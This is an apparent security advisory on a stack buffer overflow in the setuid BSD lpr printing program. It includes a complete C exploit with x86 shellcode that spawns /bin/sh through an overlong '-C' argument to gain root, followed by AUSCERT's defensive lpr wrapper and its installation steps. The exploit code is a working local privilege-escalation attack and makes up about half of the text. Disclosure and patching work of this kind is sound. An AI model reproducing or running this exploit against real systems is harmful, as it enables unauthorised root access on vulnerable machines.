COMMAND
lpr
SYSTEMS AFFECTED
Systems running BSD based printing package (BSD/OS, FreeBSD 2.x)
PROBLEM
Due to insufficient bounds checking on arguments which are
supplied by users, it is possible to overwrite the internal stack
space of the lpr program while it is executing. This can allow
an intruder to cause lpr to execute arbitrary commands by
supplying a carefully designed argument to lpr. These commands
will be run with the privileges of the lpr program. When lpr is
installed setuid or setgid, it may allow intruders to gain those
privileges. When lpr is setuid root it may allow intruders to run
arbitrary commands with root privileges.
------------------------------------------- bsd_lpr_exploit.c ------
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define DEFAULT_OFFSET 50
#define BUFFER_SIZE 1023
long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}
void main()
{
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
char execshell[] =
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
int i;
buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
for(i=0;i<strlen(execshell);i++)
*(ptr++) = execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i<2;i++)
*(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
ptr = (char *)addr_ptr;
*ptr = 0;
execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
}
--------------------------------------------------------------------------
SOLUTION
The lpr printing package is available on many different systems.
As vendor patches are made available sites are encouraged to
install them. Until vendor patches are available, AUSCERT
recommends that sites apply the lpr wrapper.
---------------------------------------------------------------------------
/*
* lpr_wrapper.c -- wrap lpr to prevent a command line buffer overrun
*
* This wrapper is part of AUSCERT Advisory AA-96.12. The latest
* version of this advisory is available from:
*
* ftp://ftp.auscert.org.au/pub/auscert/advisory/
* AA-96.12.lpr.buffer.overrun.vul
*
* This program is designed to be an interim relief measure
* until official vendor patches are made available.
*
*
* Author: AUSCERT
* Prentice Centre
* The University of Queensland
* Qld. 4072.
* Australia.
*
* auscert@auscert.org.au
*
* DISCLAIMER: The use of this program is at your own risk. It is
* designed to combat a particular vulnerability, and may
* not combat other vulnerabilities, either past or future.
* The decision to use this program is yours, as are the
* consequences of its use.
*
* This program is designed to be an interim relief measure
* until appropriate patches can be obtained from your vendor.
*
*
* Installation instructions
* ~~~~~~~~~~~~~~~~~~~~~~~~~
*
* 1. su to root
*
* 2. Determine the location of lpr. On FreeBSD and Linux systems it
* is located in /usr/bin/. For example purposes only, /usr/bin/
* will be used in following instructions for the location of lpr.
*
* 3. Determine the permissions, owner, and group of lpr. This
* information will be used later. For example:
*
* # ls -lg /usr/bin/lpr
*
* If lpr does not have setuid or setgid permissions, the installation
* of this wrapper program is not necessary. The version of lpr
* in this case does not contain the vulnerability described in
* this advisory.
*
* 4. Copy the real lpr program to lpr.real, and then change the
* permissions on it.
*
* # cd /usr/bin
* # cp lpr lpr.real
* # chmod 711 lpr.real
*
* 5. Edit this wrapper program and define REAL_LPR. By default,
* REAL_LPR is defined as "/usr/bin/lpr.real". This should be
* an absolute pathname.
*
* 6. Compile this program in a directory other than /usr/bin.
* For example to use /usr/local/src, first copy this file into
* /usr/local/src.
*
* # cd /usr/local/src
* # cc -o lpr lpr_wrapper.c
*
* If you wish error messages to be logged by syslog when
* arguments that may exploit the buffer overrun vulnerability
* are passed to lpr, add -DSYSLOG to the compile time options.
*
* # cc -DSYSLOG -o lpr lpr_wrapper.c
*
* 7. Copy this new wrapper program into the directory originally
* containing lpr. This will replace the existing lpr program.
*
* Make sure this directory and its parent directories are protected so
* only root is able to make changes to files in the directory.
*
* Use the information found in step #3 and set the same
* owner, group, permissions and privileges on the new lpr program.
*
* For example:
*
* # cp lpr /usr/bin
* # cd /usr/bin
* # chown root lpr
* # chgrp daemon lpr
* # chmod 6711 lpr
*
* Check that the owner, group, permissions and privileges exactly
* match those noted in step #3.
*
* # ls -lg /usr/bin/lpr
*
* Users will not be able to print during the time when the
* wrapper is copied into place until the chmod command has been
* executed.
*
* 8. Check that printing still works!
*
*/
static char Version[] = "lpr_wrapper V1.0 26-Nov-1996";
#include <stdio.h>
#include <syslog.h>
/*
* Make sure REAL_LPR points to the location you copied lpr to in
* step #4.
*/
#define REAL_LPR "/usr/bin/lpr.real"
main(argc,argv,envp)
int argc;
char *argv[];
char *envp[];
{
int ct;
for (ct=1;ct<argc;ct++)
{
if (strlen(argv[ct]) > BUFSIZ)
{
fprintf(stderr,"You have exceeded the argument length ...Exiting\n");
#ifdef SYSLOG
syslog(LOG_ERR,"Possible lpr buffer overrun attack by uid %d\n",getuid());
#endif
exit(1);
}
}
execve(REAL_LPR,argv,envp);
perror("execve lpr failed");
}
----------------------------------------------------------------------------